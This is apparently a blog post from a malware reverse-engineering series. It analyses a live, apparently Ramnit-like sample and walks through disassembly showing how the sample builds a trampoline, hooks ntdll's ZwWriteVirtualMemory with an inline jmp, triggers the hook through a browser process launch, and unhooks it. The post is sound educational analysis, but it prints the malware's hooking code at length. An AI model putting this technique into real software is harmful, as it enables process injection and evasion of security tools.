Virus Share: Random Sample #1 - Part Two: API Hook Analysis

Synopsis

Here we will continue our analysis of the unpacked sample from Virus Share: Random Sample #1 - Part One

Follow along note: We'll be using the sample dumped after step 8 (part one) for IDA. When running the sample in x64dbg, the dumped sample is taken just prior to step 8.

Exercise caution (i.e. run in an isolated VM) as this is a live malware sample.
I'm not responsible for any damage.


### Recap Here is what we have covered so far:

Part One

  • Extracted executable from web page
  • Using the upx executable, unpacked the first packer
  • Using a debugger, unpacked the sample a second time
  • The final running instance of the dumped executable looked to have been wrapped with another packer that, when removed, caused the unpacked executable to throw an error during execution.
    • Had to leave the final packer in place for the debugger but removed for IDA.

## Analysis Today we are going to focus most of our analysis looking at the sample statically and confirming parts in the debugger. I've done some analysis to get us closer to the interesting parts; thus, we'll start by reviewing the `start` method to get a general idea on what it does before zeroing in on a particular part.
.rmnet:00402C5B                 public start
.rmnet:00402C5B start           proc near
.rmnet:00402C5B                 push    400h            ; nSize
.rmnet:00402C60                 push    offset CommandLine ; lpData
.rmnet:00402C65                 call    doesBrowserExist
.rmnet:00402C6A                 cmp     eax, 1          ; Continue / Abort check
.rmnet:00402C6D                 jnz     short loc_402CDF ; If browser found, don't jump
.rmnet:00402C6F                 push    offset mutexName ; KyUffThOkYwRRtgPP
.rmnet:00402C74                 call    Mutex_CheckCreate
.rmnet:00402C79                 or      eax, eax
.rmnet:00402C7B                 jz      short loc_402C88
.rmnet:00402C7D                 push    eax             ; hMutex
.rmnet:00402C7E                 call    Mutex_Release
.rmnet:00402C83                 mov     eax, 1
.rmnet:00402C88
.rmnet:00402C88 loc_402C88:                             ; CODE XREF: start+20j
.rmnet:00402C88                 cmp     eax, 1          ; Continue/Abort check
.rmnet:00402C8B                 jnz     short loc_402CDF
.rmnet:00402C8D                 push    104h            ; nSize
.rmnet:00402C92                 push    offset szFileName ; lpFilename
.rmnet:00402C97                 push    0               ; hModule
.rmnet:00402C99                 call    GetModuleFileNameA ; Get the full name of the current process
.rmnet:00402C9E                 push    eax
.rmnet:00402C9F                 push    offset szFileName
.rmnet:00402CA4                 call    nullTerminateString
.rmnet:00402CA9                 push    offset szFileName ; lpszFileName
.rmnet:00402CAE                 call    checkNameFor_DesktopLayer_exe
.rmnet:00402CB3                 cmp     eax, 1          ; Continue / Abort check
.rmnet:00402CB6                 jnz     short loc_402CBF ; Jump if exe name not "DesktopLayer.exe"
.rmnet:00402CB8                 push    0               ; uExitCode
.rmnet:00402CBA                 call    ExitProcess
.rmnet:00402CBF ; ---------------------------------------------------------------------------
.rmnet:00402CBF
.rmnet:00402CBF loc_402CBF:                             ; CODE XREF: start+5Bj
.rmnet:00402CBF                 call    resolve_select_ntdll_funtions
.rmnet:00402CC4                 cmp     eax, 1          ; Continue / Abort check
.rmnet:00402CC7                 jnz     short loc_402CDF
.rmnet:00402CC9                 call    ApiHookZwWriteVirtualMemory
.rmnet:00402CCE                 push    1               ; __int16
.rmnet:00402CD0                 push    offset CommandLine ; lpCommandLine - default browser
.rmnet:00402CD5                 call    createProcess
.rmnet:00402CDA                 call    removeApiHookWrapper
.rmnet:00402CDF
.rmnet:00402CDF loc_402CDF:                             ; CODE XREF: start+12j
.rmnet:00402CDF                                         ; start+30j ...
.rmnet:00402CDF                 push    0               ; uExitCode
.rmnet:00402CE1                 call    ExitProcess
.rmnet:00402CE1 start           endp

Code Snippet 1 - Start function

To summarize, the start function does the following:

  1. Locate browser executable
  • Two methods used:
    1. Registry keys:
      1. http\\shell\\open\\command
      • SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
    2. Locate on file system
      1. %ProgramFiles%\Internet Explorer\iexplore.exe
  • Terminate process if browser is not found
  • Check to see if a mutex exist by creating a mutex
    • If mutex creation successful, then destroy the mutex just made
      • Successfully creating the mutex implies that a mutex with the same name does not exist. This is normally used to check to see if the machine is already infected or not.
    • Else terminate process
  • Next, check the name of the running executable to see if it is called DesktopLayer.exe
    1. If yes:
      1. Make a copy of the exe under a different name (MicrosoftDesktopLayer.exe)
      • Start it
      • Exit current process
    • If no (the default name is svchost.exe, see part one):
      1. Get function address for some ntdll functions
      • Install an API hook into ZwWriteVirtualMemory
      • Call create process against the browser executable found earlier
      • Remove API hook placed on ZwWriteVirtualMemory by restoring the original values
      • Exit program

The API hook (3.2.2) looks like a fun place to start!


### API Hooking Analysis

Following the code flow from the start function, we first drill into ApiHookZwWriteVirtualMemory. Upon entry we see:


Screenshot 1 - ApiHookZwWriteVirualMemory

Drilling further into the next function, hookFunctionPrep, we see where the call to the function that does the actual hooking is made. So one more level to go!


Screenshot 2 - Snippet from hookFunctionPrep

Opening hookFunction, definition @4028CA, we arrive at where the actual hook creation is done. A screenshot won't not fit nicely here; however, as we are going into more detail below, hopefully that won't matter too much.

API Hooking Walk-Through

First, stage setting. Just prior to 402921, VirtualAlloc was called and the return value (allocated memory base address[^n]) was stored in EAX. This is where the values used by the malware for hooking/unhooking the API function will be stored.


Screenshot 3 - Unwritten to Allocated Memory

Also, we are not going to be looking closely at the API calls needed to allow writing to memory locations. That will be left as an exercise for the reader.

Ok, stage set. Let's move this along!

In the below snippet ESI is set to the base address of the allocated memory segment. The push and the pop move the address of ZwWriteVirtualMemory into the first four bytes of the allocated memory space. And then, the pointer into the allocated memory is moved by four (matching the length of the ZwWriteVirtualMemory address).

.rmnet:00402924 mov     esi, eax
.rmnet:00402926 push    [ebp+lpAddress_ZwWriteVirtualMemory]
.rmnet:00402929 pop     dword ptr [esi]
.rmnet:0040292B add     esi, 4          

Code Snippet 2 - Recording ZwWriteVirtualMemory address

In this next code snippet, [ebp+var_4] holds the byte length value returned by an earlier function call in the current function. The length value represents the number of bytes to be stolen from the API call in-order to make room for the hook. A five byte minimum is needed; however, it has to be in complete instruction sets. The length byte is moved into the allocated memory just after where the base address of ZwWriteVirtualMemory is stored.

.rmnet:0040292E mov     eax, [ebp+var_4]
.rmnet:00402931 mov     [esi], al       
.rmnet:00402933 inc     esi    

Code Snippet 3 - Recording ZwWriteVirtualMemory address

Now the code starts to build the trampoline[^n]. First it records the first instruction of ZwWriteVirtualMemory's function by writing it to the allocated memory via the function call copyvalueToAllocatedMemory (function definition @401018). Once that is done, the pointer into the allocated memory, ESI, is moved by the length of the instruction copied into it ([ebp+var_4]).

.rmnet:00402934 push    0               
.rmnet:00402936 push    [ebp+var_4]     
.rmnet:00402939 push    esi             
.rmnet:0040293A push    [ebp+lpAddress_ZwWriteVirtualMemory] 
.rmnet:0040293D call    copyValueToAllocatedMemory 
.rmnet:00402942 add     esi, [ebp+var_4] ;

Code Snippet 4 - Copy instruction length and instruction


Screenshot 4 - Function definition of copyValueToAllocatedMemory

Next, the jmp assembly instruction is added to the allocated memory segment and the pointer into the allocated memory is incremented by one.

.rmnet:00402945 mov     al, 0E9h
.rmnet:00402947 mov     [esi], al
.rmnet:00402949 inc     esi

Code Snippet 5 - Insert the jmp instruction

For the final part of the trampoline, the offset into the ZwWriteVirtualMemory function (after the copied instruction) is calculated and written to the allocated memory segment. The sub eax, 0Ah accounts for the offset into the allocated memory where the jump instruction is referenced from. Remember this jmp offset is relative from where it is located in memory.

.rmnet:0040294A mov     eax, [ebp+lpAddress_ZwWriteVirtualMemory]
.rmnet:0040294D sub     eax, [ebp+allocated_memory_trampoline]
.rmnet:00402950 sub     eax, 0Ah
.rmnet:00402953 mov     [esi], eax   

Code Snippet 6 - Insert the jmp instruction

That's it for the trampoline. This is what our allocated memory now looks like:


Screenshot 5 - Written to Allocated Memory

To recap, the first 5 bytes can be defined as:

typedef struct _hook_info{
    LPVOID lpAddress, // Starting address of API function
    char nSize     // Number of bytes stolen from API function
} hook_info

Code Snippet 7 - Insert the jmp instruction

And we can look at the trampoline in the disassembler by running the malware in x64dbg and breaking at 402955, then highlighting the first instruction of the trampoline and right click and select Follow in Disassembler.


Screenshot 6 - Load Trampoline in Disassembler

And we see this:


Screenshot 7 - Trampoline in Disassembler

Notice the first instruction in the trampoline (Screenshot 7) matches the first instruction in ZwWriteVirtualMemory (Screenshot 8) and the jmp points to the second instruction in ZwWriteVirtualMemory


Screenshot 8 - ZwWriteVirtualMemory in Disassembler prior to being hooked

Now onto actually hooking the API function!

Looking at the following code snippet, we see the function actually being hooked.

.rmnet:00402955 mov     esi, [ebp+lpAddress_ZwWriteVirtualMemory] 
.rmnet:00402958 mov     al, 0E9h        
.rmnet:0040295A mov     [esi], al       
.rmnet:0040295C inc     esi             
.rmnet:0040295D mov     eax, [ebp+function_hook_address] 
.rmnet:00402960 sub     eax, [ebp+lpAddress_ZwWriteVirtualMemory] 
.rmnet:00402963 sub     eax, 5          
.rmnet:00402966 mov     [esi], eax      

Code Snippet 8 - Hooking the API function

Steps Taken:

  1. 402955: Set the value of ESI to the entry point of the API function
  • 402958-40295A: Replace the first byte in the API function with the jmp instruction
  • 40295C: Move the pointer one byte into the function's address space
  • 40295D-402963 : Calculate the offset from here to trampoline
  • 402966: Write the offset to the API function

Once done the API function will look something like this:

Screenshot 9 - API function entry point

And finally, the program needs to return the address of the trampoline for later use.

[ebp+arg_8] looks to be an out parameter which stores a pointer to a memory location (pushed onto the stack @4029C9 of the calling function). The allocated memory's base address plus 5 more bytes gives us the starting address of the trampoline and that is to stored in the location EAX points to.

.rmnet:00402968 mov     eax, [ebp+arg_8]
.rmnet:0040296B mov     ebx, [ebp+allocated_memory_trampoline]
.rmnet:0040296E add     ebx, 5
.rmnet:00402971 mov     [eax], ebx

Code Snippet 9 - Set out parameter

Later on this value is stored in a global variable by ApiHookZwWriteVirtualMemory.

402B57 mov     ds:ptrTrampoline, eax ; Pointer to trampoline (or null)

Code Snippet 10 - Pointer to trampoline saved

If we take a look into sub_402A59, we see a reference to ds:ptrTrampoline along with the correct number of arguments passed to it.


Screenshot 10 - sub_402A59 entry point

The screenshot above has had its argument names updated to reflect the values passed in.

typedef struct _Input_ZwWriteVirtualMemory
{
   HANDLE  ProcessHandle;
   PVOID  BaseAddress;
   PVOID  Buffer;
   ULONG  BufferLength;
   PULONG  ReturnLength;
} Input_ZwWriteVirtualMemory;

Code Snippet 11 - ZwWriteVirtualMemory Struct[^n]


#### Trigger Hooked Function

So ZwWriteVirtualMemory is hooked, but there is no direct call to it to cause the malware's code to be executed. How does the malware trigger the API call forcing the deviation into the malicious function? Going to guess that the call to CreateProcessA @4013BB will force a call to ZwWriteVirtualMemory. Let's run this through the debugger to test.

First, set a break point at the start of ZwWriteVirtualMemory.


Screenshot 11 - Break point @ ZwWriteVirtualMemory entry point

Next, run the program just prior to the calling CreateProcessA.


Screenshot 12 - Program paused at call to CreateProcessA

Hit F8 to step over the API call and the break point on ZwWriteVirtualMemory is triggered!!


Screenshot 13 - Break point @ ZwWriteVirtualMemory entry point triggered

If we follow the jump, we should land inside the malware's code base.


Screenshot 14 - Jump into the malware's function

Notice call dword ptr ds:[40DFB7] calls the trampoline function.


Screenshot 15 - Value of ds:[40DFB7]

We'll take a closer look at the malware's replacement function in the next article in this series. For now, let's move onto how this program removes the hook before terminating itself.


#### Remove Hook

The code to remove the API hook is after the call to the function that creates the browser process. That function, just like when the hook was created, is wrapped between functions to suspend and resume threads.


Screenshot 16 - removeApiHookWrapper function

Taking a look inside removeApiHook we extract the following code snippets which we will walk through piece by piece shortly.

To unhook the function, the location and size of the memory space being modified will need to be gathered so the parameters to VirtualProtect can be properly specified. The parameters needed are[^n]:

  1. Memory address pointing to the starting location the permission change is to be made to
  • The size, in bytes, the permission change will be made on
  • The protection scheme to change the memory section to (0x40 is PAGE_EXECUTE_READWRITE)[^n]
  • An out parameter to store what the protection scheme was prior to the call

To do all of this, the malware will need to construct some of these parameter from where it stored this information to memory earlier.

Starting at the trampoline pointer, the code steps five bytes back to retrieve the entry point address of ZwWriteVirtualMemory (4 bytes in length).

.rmnet:004029F0                 mov     eax, [ebp+trampoline_ptr]
.rmnet:004029F3                 sub     eax, 5
.rmnet:004029F6                 mov     [ebp+ZwWriteVirtualMemory_Address], eax

Code Snippet 12 - Get ZwWriteVirtualMemory API Pointer

Next, the length of the instruction set stolen ealier is pulled from the next byte.

.rmnet:004029F9                 mov     bl, [eax+4]

Code Snippet 13 - Number of stolen bytes

Now VirtualProtect variables start getting set. First, the value of the memory address, lpAddress, to modify is set.

.rmnet:004029FC                 mov     eax, [eax]
.rmnet:004029FE                 mov     [ebp+lpAddress], eax

Code Snippet 14 - Parameter setting for VirtualProtect

Then the the second parameter, [ebp+dwSize], containing the length of memory to change the permissions on is set.

.rmnet:00402A01                 movzx   eax, bl
.rmnet:00402A04                 mov     [ebp+dwSize], eax

Code Snippet 15 - Parameter setting for VirtualProtect

Next. the out parameter is constructed.

.rmnet:00402A07                 lea     eax, [ebp+flOldProtect]

Code Snippet 16 - Parameter setting for VirtualProtect

Finally all the parameters are pushed onto the stack and the VirtualProtect is called.

.rmnet:00402A0A                 push    eax             ; lpflOldProtect
.rmnet:00402A0B                 push    40h             ; flNewProtect
.rmnet:00402A0D                 push    [ebp+dwSize]    ; dwSize
.rmnet:00402A10                 push    [ebp+lpAddress] ; lpAddress
.rmnet:00402A13                 call    VirtualProtect

Code Snippet 17 - Call to VirtualProtect

Lastly, using the same function used prior to steal the code for the trampoline, the original instructions are copied back to ZwWriteVirtualMemory's entry point.

.rmnet:00402A1C                 push    0
.rmnet:00402A1E                 push    [ebp+dwSize]
.rmnet:00402A21                 push    [ebp+lpAddress]
.rmnet:00402A24                 push    [ebp+trampoline_ptr]
.rmnet:00402A27                 call    copyValueToAllocatedMemory

Code Snippet 18 - Call to copyValueToAllocatedMemory

This is followed up with resetting the memory permissions, but we are not going to show that here. With that, this post is done!

Conclusion

In this post, we looked at how the sample:

  • Hooked an API function
  • Called the API function indirectly
  • Removed the hook

In the next post of the series, we will take a closer look at what the malware's function does which now resides at the API's entry point.

Random Sample #1 - Part Three: Injection

Appendix

IDA Snippets with comments

  1. API Hooking code reviewed above:

     .rmnet:00402921 mov     [ebp+allocated_memory_trampoline], eax
     .rmnet:00402924 mov     esi, eax
     .rmnet:00402926 push    [ebp+lpAddress_ZwWriteVirtualMemory]
     .rmnet:00402929 pop     dword ptr [esi] ; Write the address of ZwWriteVirtualMemory to the allocated memory
     .rmnet:0040292B add     esi, 4          ; Add 4 to account for the memory address being written
     .rmnet:0040292E mov     eax, [ebp+var_4]
     .rmnet:00402931 mov     [esi], al       ; Append 05h - which is the length of the first instuction in ZwWriteVirtualMemory.  The minimum length needed is 5.
     .rmnet:00402933 inc     esi             ; Move the allocated memory pointer by one byte
     .rmnet:00402934 push    0               ; Direction flag - std instruction when value 1
     .rmnet:00402936 push    [ebp+var_4]     ; Length to copy
     .rmnet:00402939 push    esi             ; Address to copy to
     .rmnet:0040293A push    [ebp+lpAddress_ZwWriteVirtualMemory] ; Copy from location
     .rmnet:0040293D call    copyValueToAllocatedMemory ; Trampoline: Copy the first 5 bytes of the ZwWriteVirtualMemory function
     .rmnet:00402942 add     esi, [ebp+var_4] ; Trampoline: Move the ESI pointer up by 5 to account for the first instruction copied from ZwWriteVirtualMemory function
     .rmnet:00402945 mov     al, 0E9h        ; Trampoline: Setup short jmp instruction
     .rmnet:00402947 mov     [esi], al       ; Trampoline: Append short jmp instruction: 0xe9
     .rmnet:00402949 inc     esi             ; Trampoline: Increament the memory pointer
     .rmnet:0040294A mov     eax, [ebp+lpAddress_ZwWriteVirtualMemory] ; Trampoline (Offset calc): Load address for ZwWriteVirtualMemory in ntdll into EAX
     .rmnet:0040294D sub     eax, [ebp+allocated_memory_trampoline] ; Trampoline (Offset calc): Substract the starting location of the allocated memory
     .rmnet:00402950 sub     eax, 0Ah        ; Trampoline (Offset calc): Substract offset into the allocated memory to the first original instruction
     .rmnet:00402953 mov     [esi], eax      ; Trampoline: Copy the jmp offset into the trampoline
     .rmnet:00402955 mov     esi, [ebp+lpAddress_ZwWriteVirtualMemory] ; API hook: Load ZwWriteVirtualMemory address into ESI
     .rmnet:00402958 mov     al, 0E9h        ; API hook: short jmp instruction
     .rmnet:0040295A mov     [esi], al       ; API hook: Add instruction to start of the ZwWriteVirtualMemory function
     .rmnet:0040295C inc     esi             ; API hook: Increament the ESI pointer
     .rmnet:0040295D mov     eax, [ebp+function_hook_address] ; API hook (Offset Calc): Move the address of the target function into EAX
     .rmnet:00402960 sub     eax, [ebp+lpAddress_ZwWriteVirtualMemory] ; API hook (Offset Calc): Subtract the offset to the start of the ZwWriteVirtualMemory function.
     .rmnet:00402963 sub     eax, 5          ; API hook (Offset Calc): Subtract length of jmp instruction
     .rmnet:00402966 mov     [esi], eax      ; API hook (Offset Calc): Copy the hook function offset into ZwWriteVirtualMemory
     .rmnet:00402968 mov     eax, [ebp+arg_8]
     .rmnet:0040296B mov     ebx, [ebp+allocated_memory_trampoline]
     .rmnet:0040296E add     ebx, 5
     .rmnet:00402971 mov     [eax], ebx      ; Store the address of the trampoline - OUT PARAMETER
    

References

comments powered by Disqus